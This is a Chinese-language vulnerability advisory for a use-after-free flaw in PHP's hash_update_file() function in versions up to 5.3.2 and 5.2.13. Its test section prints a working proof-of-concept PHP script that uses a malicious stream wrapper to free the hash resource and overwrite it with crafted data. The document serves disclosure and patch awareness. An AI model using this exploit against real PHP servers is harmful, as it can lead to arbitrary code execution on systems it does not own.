PHP hash_update_file()函数访问已释放资源漏洞
影响版本:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
漏洞描述:
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
在调用PHP的hash_update_file()函数时,该函数首先要检索资源数据,之后从流中读取数据执行哈希运算。恶意的用户空间流处理器可以从读处理器中释放哈希资源,并使用特制的伪造资源替换,其中可能包含有修改过的哈希函数指针表。当内部函数继续执行哈希计算时,就会调用已被覆盖的函数指针,导致执行恶意代码。
<*参考
http://php-security.org/2010/05/01/mops-2010-001-php-hash_update_file-already-freed-resource-access-vulnerability/index.html
*>
测试方法:
<?php
define("OFFSET", pack("L",0x55555555));
class AttackStream {
function stream_open($path, $mode, $options, &$opened_path)
{
return true;
}
function stream_read($count)
{
hash_final($GLOBALS['hid'], true);
$GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3);
return "A";
}
function stream_eof()
{
return true;
}
function stream_seek($offset, $whence)
{
return false;
}
}
stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol");
$hid = hash_init('md5');
hash_update_file($hid, "attack://nothing");
?>
安全建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net